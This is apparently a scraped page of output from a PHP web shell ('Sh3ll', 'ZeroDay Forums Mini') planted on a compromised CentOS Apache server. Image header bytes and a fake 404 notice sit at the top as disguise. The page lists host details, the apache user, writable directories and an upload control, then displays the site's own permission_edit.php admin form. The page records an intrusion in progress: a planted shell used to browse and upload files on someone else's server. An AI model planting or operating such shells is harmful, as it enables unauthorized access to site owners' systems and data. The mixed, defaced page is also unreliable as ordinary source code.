����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/views/module/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/views/module/permission_edit.php
<div class="row">
    <div class="col-sm-12 col-md-12">
        <div class="panel panel-bd lobidrag">
            <div class="panel-heading">
                <div class="panel-title">
                    <h4><?php echo (!empty($title)?$title:null) ?></h4>
                </div>
            </div>
            <div class="panel-body">

                <?php 
                //extract current user
                if (!empty($permission))
                foreach ($permission as $extract) {
                    $fk_user_id = $extract->fk_user_id;
                    break;
                }
                //form start 
                echo form_open("dashboard/module_permission/edit/".(!empty($fk_user_id)?$fk_user_id:null)) ?>

                    <div class="form-group row">
                        <label for="blood" class="col-sm-3 col-form-label"><?php echo display('username') ?> *</label>
                        <div class="col-sm-9">
                            <?php echo form_dropdown('fk_user_id', $user_list, (!empty($fk_user_id)?$fk_user_id:null), ' class="form-control"') ?> 
                        </div>
                    </div>

                    <table class="table table-bordered">
                        <thead>
                            <tr>
                                <th><?php echo display('sl_no') ?></th>
                                <th><?php echo display('module_name') ?></th>
                                <th><?php echo display('create') ?></th>
                                <th><?php echo display('read') ?></th>
                                <th><?php echo display('update') ?></th>
                                <th><?php echo display('delete') ?></th> 
                            </tr>
                        </thead>
                        <?php $sl = 0 ?>
                        <?php if (!empty($permission)) ?>
                        <?php foreach ($permission as $value) { ?>
                        <tbody>
                            <tr>
                                <td><?php echo ($sl+1) ?></td>
                                <td>
                                    <?php echo html_escape($value->name) ?>
                                    <input type="hidden" name="fk_module_id[<?php echo $sl ?>][]" value="<?php echo html_escape($value->fk_module_id) ?>">
                                </td>
                                <td>
                                    <div class="checkbox checkbox-success text-center">
                                        <input type="checkbox" name="create[<?php echo $sl ?>][]" value="1" <?php echo (($value->create==1)?"checked":null) ?> id="create<?php echo $sl ?>">
                                        <label for="create<?php echo $sl ?>"></label>
                                    </div>
                                </td> 
                                <td>
                                    <div class="checkbox checkbox-success text-center">
                                        <input type="checkbox" name="read[<?php echo $sl ?>][]" value="1" <?php echo (($value->read==1)?"checked":null) ?> id="read<?php echo $sl ?>">
                                        <label for="read<?php echo $sl ?>"></label>
                                    </div>
                                </td> 
                                <td>
                                    <div class="checkbox checkbox-success text-center">
                                        <input type="checkbox" name="update[<?php echo $sl ?>][]" value="1" <?php echo (($value->update==1)?"checked":null) ?> id="update<?php echo $sl ?>">
                                        <label for="update<?php echo $sl ?>"></label>
                                    </div>
                                </td>  
                                <td>
                                    <div class="checkbox checkbox-success text-center">
                                        <input type="checkbox" name="delete[<?php echo $sl ?>][]" value="1" <?php echo (($value->delete==1)?"checked":null) ?> id="delete<?php echo $sl ?>">
                                        <label for="delete<?php echo $sl ?>"></label>
                                    </div>
                                </td>   
                            </tr>
                        </tbody>
                        <?php $sl++ ?> 
                        <?php } ?> 
                    </table>
  
         
                    <div class="form-group text-right">
                        <button type="reset" class="btn btn-primary w-md m-b-5"><?php echo display('reset') ?></button>
                        <button type="submit" class="btn btn-success w-md m-b-5"><?php echo display('update') ?></button>
                    </div>
                <?php echo form_close() ?>

            </div>
        </div>
    </div>
</div>

 

ZeroDay Forums Mini